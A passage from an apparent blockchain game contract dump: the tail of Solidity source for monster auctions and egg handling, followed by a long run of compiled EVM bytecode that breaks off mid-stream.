eggs[_eggId].classId = 0; eggs[_eggId].master = address(0); } function monstersForSale (uint8 optSort) external view returns (uint256[] _monsters){ uint256[] memory mcount = new uint256[](totalAuction); uint256 counter = 0; for (uint256 i = 0; i < totalAuction; i++) { mcount[counter] = i; counter++; } if(optSort != 0){ sortAuction(mcount); } return mcount; } function sortAuction (uint256[] _mcount) public view returns (uint256[] _monsters){ uint256[] memory mcount = new uint256[](_mcount.length); for(uint256 i = 0; i < _mcount.length; i++){ mcount[i] = auctions[i].price * 10000000000 + i; } uint256[] memory tmps = getSortedArray(_mcount); uint256[] memory result = new uint256[](tmps.length); for(uint256 i2 = 0; i2 < tmps.length; i2++){ result[i2] = tmps[i2] % 10000000000; } return result; } /* Util */ function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } // solium-disable-line return size > 0; } }
0x6060604052600436106101e3576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630562b9f7146101e857806311affa5c1461020b57806314d0f1ba146102725780631af476a6146102c35780631befcbaf146102f25780631e1d237e14610335578063278a4c4f146103e45780632bd564441461043c578063363bf96414610476578063397e953f146104ed5780633b9056bf1461054257806340f0a21f1461056557806348ef5aa81461059c5780634b11982e146105c15780634efb023e146105ee578063571a26a01461061f5780635b6a42b8146106ab5780635be1d5c3146107aa5780636c1247e51461080d5780636c81fd6d146108625780636df238c31461089b57806377fa3d32146109145780637a09defe146109675780637deb6025146109905780638252ad9c146109c757806384ba745e146109f0578063853828b614610a195780638da5cb5b14610a2e5780639e1e1ca914610a83578063a703078c14610afe578063b319c6b714610bad578063b85d627514610bea578063bb654efa14610c23578063c880fab114610ce9578063c9f0a02d14610d3e578063d4dca69b14610d53578063e9ab04a814610da8578063ee4e441614610e0e578063f285329214610e3b575b600080fd5b34156101f357600080fd5b6102096004808035906020019091905050610e74565b005b341561021657600080fd5b610270600480803561ffff1690602001909190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610f12565b005b341561027d57600080fd5b6102a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fa1565b604051808215151515815260200191505060405180910390f35b34156102ce57600080fd5b6102f0600480803560ff16906020019091908035906020019091905050610fc1565b005b610333600480803560ff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061103e565b005b341561034057600080fd5b61038d600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611ced565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156103d05780820151818401526020810190506103b5565b505050509050019250505060405180910390f35b34156103ef57600080fd5b61043a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d1a565b005b341561044757600080fd5b610460600480803560ff16906020019091905050611df7565b6040518082815260200191505060405180910390f35b341561048157600080fd5b6104eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e0f565b005b34156104f857600080fd5b610500611f32565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561054d57600080fd5b6105636004808035906020019091905050611f58565b005b341561057057600080fd5b610586600480803590602001909190505061207e565b6040518082815260200191505060405180910390f35b34156105a757600080fd5b6105bf60048080351515906020019091905050612096565b005b34156105cc57600080fd5b6105ec600480803567ffffffffffffffff1690602001909190505061210e565b005b34156105f957600080fd5b610601612195565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561062a57600080fd5b61064060048080359060200190919050506121a9565b604051808781526020018681526020018581526020018481526020018360ff1660ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390f35b34156106b657600080fd5b610780600480803590602001909190803563ffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612221565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34156107b557600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803561ffff16906020019091905050612504565b6040518082815260200191505060405180910390f35b341561081857600080fd5b6108206128d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561086d57600080fd5b610899600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128f9565b005b34156108a657600080fd5b6108d2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612a39565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561091f57600080fd5b610965600480803563ffffffff1690602001909190803590602001909190803590602001909190803560ff1690602001909190803560ff16906020019091905050612a6c565b005b341561097257600080fd5b61097a612c03565b6040518082815260200191505060405180910390f35b6109c5600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612c09565b005b34156109d257600080fd5b6109da613b0f565b6040518082815260200191505060405180910390f35b34156109fb57600080fd5b610a03613b15565b6040518082815260200191505060405180910390f35b3415610a2457600080fd5b610a2c613b1b565b005b3415610a3957600080fd5b610a41613bcf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a8e57600080fd5b610aa7600480803560ff16906020019091905050613bf4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610aea578082015181840152602081019050610acf565b505050509050019250505060405180910390f35b3415610b0957600080fd5b610b56600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050613c92565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610b99578082015181840152602081019050610b7e565b505050509050019250505060405180910390f35b3415610bb857600080fd5b610bc0613dd2565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b3415610bf557600080fd5b610c21600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613dec565b005b3415610c2e57600080fd5b610c446004808035906020019091905050613f2d565b604051808960ff1660ff1681526020018863ffffffff1663ffffffff1681526020018781526020018681526020018563ffffffff1663ffffffff1681526020018463ffffffff1663ffffffff1681526020018361ffff1661ffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019850505050505050505060405180910390f35b3415610cf457600080fd5b610cfc613fef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610d4957600080fd5b610d51614015565b005b3415610d5e57600080fd5b610d66614158565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610db357600080fd5b610e0c600480803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061417e565b005b3415610e1957600080fd5b610e21614615565b604051808215151515815260200191505060405180910390f35b3415610e4657600080fd5b610e72600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050614628565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ecf57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610f0f57600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6d57600080fd5b80600c60008461ffff1661ffff1681526020019081526020016000209080519060200190610f9c929190614b0b565b505050565b60016020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101c57600080fd5b80600d60008460ff1660ff168152602001908152602001600020819055505050565b600080600080600080600080600260009054906101000a900460ff1615151561106657600080fd5b600a8a11158015611077575060008a115b151561108257600080fd5b67016345785d8a000097506000600d60008d60ff1660ff1681526020019081526020016000205411156110f1576014670de0b6b3a76400006101f4600d60008f60ff1660ff168152602001908152602001600020548115156110e057fe5b04028115156110eb57fe5b05880197505b898802341015151561110257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169650600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169550600a9450600a8a10151561115f57600c94505b600073ffffffffffffffffffffffffffffffffffffffff16600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561128657503373ffffffffffffffffffffffffffffffffffffffff16600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561151f578673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168c8860056402540be4008e81151561131b57fe5b040202028a73ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561145557600080fd5b6102c65a03f1151561146657600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156114fe57600080fd5b6102c65a03f1151561150f57600080fd5b50505060405180519050506117de565b600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff161415801561158857503373ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b156117dd5788600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508673ffffffffffffffffffffffffffffffffffffffff1663095ea7b38a8c8860056402540be4008e81151561163c57fe5b040202028a73ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e308f6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561171757600080fd5b6102c65a03f1151561172857600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156117c057600080fd5b6102c65a03f115156117d157600080fd5b50505060405180519050505b5b8673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3338c8860056402540be4008e81151561180f57fe5b040202028a73ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30336000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156118ea57600080fd5b6102c65a03f115156118fb57600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561199357600080fd5b6102c65a03f115156119a457600080fd5b5050506040518051905050600093505b898460ff161015611c8b576000925066038d7ea4c6800060656119d7609b6146fd565b01028301925064e8d4a5100060656119ef609b6146fd565b010283019250633b9aca006065611a06609b6146fd565b010283019250620f42406065611a1c609b6146fd565b0102830192506103e86065611a31609b6146fd565b0102830192506065611a43609b6146fd565b0183019250600c60008c60ff1661ffff168152602001908152602001600020611a88600c60008e60ff1661ffff168152602001908152602001600020805490506146fd565b815481101515611a9457fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1691506001600d60008d60ff1660ff1681526020019081526020016000206000828254019250508190555060018673ffffffffffffffffffffffffffffffffffffffff166382ef351a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611b5257600080fd5b6102c65a03f11515611b6357600080fd5b505050604051805190500190508573ffffffffffffffffffffffffffffffffffffffff16634654b6e2828585336040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808567ffffffffffffffff1667ffffffffffffffff1681526020018481526020018363ffffffff1663ffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018381038352600081526020016020018381038252600081526020016020019650505050505050600060405180830381600087803b1515611c6a57600080fd5b6102c65a03f11515611c7b57600080fd5b50505083806001019450506119b4565b3373ffffffffffffffffffffffffffffffffffffffff167fbdb60877380657891853e5a2a84a0777c663f0fc9a14845621acfda92b93ab8b8c604051808260ff1661ffff16815260200191505060405180910390a25050505050505050505050565b611cf5614bbb565b611cfd614bbb565b611d068361478a565b9050611d118161479a565b80915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d7557600080fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600d6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e6a57600080fd5b82600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166323b872dd3033856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561205e57600080fd5b6102c65a03f1151561206f57600080fd5b50505060405180519050505050565b6000606480830281151561208e57fe5b059050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f157600080fd5b80600260006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561216957600080fd5b80600a60006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555050565b600060149054906101000a900461ffff1681565b600f818154811015156121b857fe5b90600052602060002090600502016000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900460ff16908060040160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905086565b600080600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561228557600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915060018273ffffffffffffffffffffffffffffffffffffffff166382ef351a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561231857600080fd5b6102c65a03f1151561232957600080fd5b505050604051805190500190508173ffffffffffffffffffffffffffffffffffffffff16634654b6e2828a8a8a8a8a6040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808767ffffffffffffffff1667ffffffffffffffff1681526020018681526020018563ffffffff1663ffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561242b578082015181840152602081019050612410565b50505050905090810190601f1680156124585780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015612491578082015181840152602081019050612476565b50505050905090810190601f1680156124be5780820380516001836020036101000a031916815260200191505b5098505050505050505050600060405180830381600087803b15156124e257600080fd5b6102c65a03f115156124f357600080fd5b505050809250505095945050505050565b6000806000806000806000600260009054906101000a900460ff1615151561252b57600080fd5b600a8861ffff1611158015612544575060008861ffff16115b151561254f57600080fd5b61255c631dcd650061207e565b95508589101561256b57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169450600093505b8761ffff168460ff16101561286a576000925066038d7ea4c6800060336125bc60cd6146fd565b01028301925064e8d4a5100060336125d460cd6146fd565b010283019250633b9aca0060336125eb60cd6146fd565b010283019250620f4240603361260160cd6146fd565b0102830192506103e8603361261660cd6146fd565b010283019250603361262860cd6146fd565b0183019250600c6000600161ffff168152602001908152602001600020612669600c6000600161ffff168152602001908152602001600020805490506146fd565b81548110151561267557fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1691506001600d6000600160ff1681526020019081526020016000206000828254019250508190555060018573ffffffffffffffffffffffffffffffffffffffff166382ef351a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561273157600080fd5b6102c65a03f1151561274257600080fd5b505050604051805190500190508473ffffffffffffffffffffffffffffffffffffffff16634654b6e28285858e6040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808567ffffffffffffffff1667ffffffffffffffff1681526020018481526020018363ffffffff1663ffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018381038352600081526020016020018381038252600081526020016020019650505050505050600060405180830381600087803b151561284957600080fd5b6102c65a03f1151561285a57600080fd5b5050508380600101945050612595565b3373ffffffffffffffffffffffffffffffffffffffff167fbdb60877380657891853e5a2a84a0777c663f0fc9a14845621acfda92b93ab8b6001604051808261ffff16815260200191505060405180910390a28761ffff16860296505050505050509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561295457600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415612a365760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612a74614bcf565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612acf57600080fd5b60c0604051908101604052808763ffffffff168152602001868152602001858152602001428460ff16620151800262ffffff160181526020018460ff1681526020013373ffffffffffffffffffffffffffffffffffffffff168152509050600f8054806001018281612b419190614c1f565b916000526020600020906005020160008390919091506000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff021916908360ff16021790555060a08201518160040160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050506001600860008282540192505081905550505050505050565b60075481565b600080600080600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16955042600f89815481101515612c4757fe5b906000526020600020906005020160030154111515612c6557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16636352211e600f8b815481101515612ca857fe5b9060005260206000209060050201600101546000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612d1457600080fd5b6102c65a03f11515612d2557600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff1614151515612d5257600080fd5b612d7f600954600f8a815481101515612d6757fe5b9060005260206000209060050201600201540161207e565b612d883461207e565b10151515612d9557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16636352211e600f8b815481101515612dd757fe5b9060005260206000209060050201600101546000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612e4357600080fd5b6102c65a03f11515612e5457600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff1614151515612e8157600080fd5b612e8a336147b8565b151515612e9657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515612ed257600080fd5b8573ffffffffffffffffffffffffffffffffffffffff16636352211e600f8a815481101515612efd57fe5b9060005260206000209060050201600101546000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612f6957600080fd5b6102c65a03f11515612f7a57600080fd5b505050604051805190509450339350600f88815481101515612f9857fe5b9060005260206000209060050201600201549250612fb53461207e565b9150612fe182600f8a815481101515612fca57fe5b9060005260206000209060050201600101546147cb565b8573ffffffffffffffffffffffffffffffffffffffff1663d3fd9eba8686600f8c81548110151561300e57fe5b9060005260206000209060050201600101546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15156130d757600080fd5b6102c65a03f115156130e857600080fd5b5050506130f48261207e565b600f8981548110151561310357fe5b90600052602060002090600502016002018190555033600f8981548110151561312857fe5b906000526020600020906005020160040160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff16600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156132c357503373ffffffffffffffffffffffffffffffffffffffff16600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15613557578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005633b9aca008681151561335557fe5b04028473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561348d57600080fd5b6102c65a03f1151561349e57600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561353657600080fd5b6102c65a03f1151561354757600080fd5b5050506040518051905050613811565b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156135c057503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b156138105786600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3886005633b9aca008681151561367157fe5b04028473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e308d6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561374a57600080fd5b6102c65a03f1151561375b57600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156137f357600080fd5b6102c65a03f1151561380457600080fd5b50505060405180519050505b5b8073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3336005633b9aca008681151561383f57fe5b04028473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30336000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561391857600080fd5b6102c65a03f1151561392957600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156139c157600080fd5b6102c65a03f115156139d257600080fd5b50505060405180519050506000831115613a27578473ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515613a2657600080fd5b5b8373ffffffffffffffffffffffffffffffffffffffff16600f89815481101515613a4d57fe5b9060005260206000209060050201600101547fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040846040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff16600f89815481101515613abc57fe5b9060005260206000209060050201600101547f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7846040518082815260200191505060405180910390a35050505050505050565b60085481565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b7657600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515613bcd57600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b613bfc614bbb565b613c04614bbb565b600080600854604051805910613c175750595b9080825280602002602001820160405250925060009150600090505b600854811015613c6f57808383815181101515613c4c57fe5b906020019060200201818152505081806001019250508080600101915050613c33565b60008560ff16141515613c8757613c8583613c92565b505b829350505050919050565b613c9a614bbb565b613ca2614bbb565b6000613cac614bbb565b613cb4614bbb565b60008651604051805910613cc55750595b90808252806020026020018201604052509450600093505b8651841015613d3957836402540be400600f86815481101515613cfc57fe5b90600052602060002090600502016002015402018585815181101515613d1e57fe5b90602001906020020181815250508380600101945050613cdd565b613d4287611ced565b92508251604051805910613d535750595b90808252806020026020018201604052509150600090505b8251811015613dc5576402540be4008382815181101515613d8857fe5b90602001906020020151811515613d9b57fe5b068282815181101515613daa57fe5b90602001906020020181815250508080600101915050613d6b565b8195505050505050919050565b600a60009054906101000a900467ffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e4757600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613f2a576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff16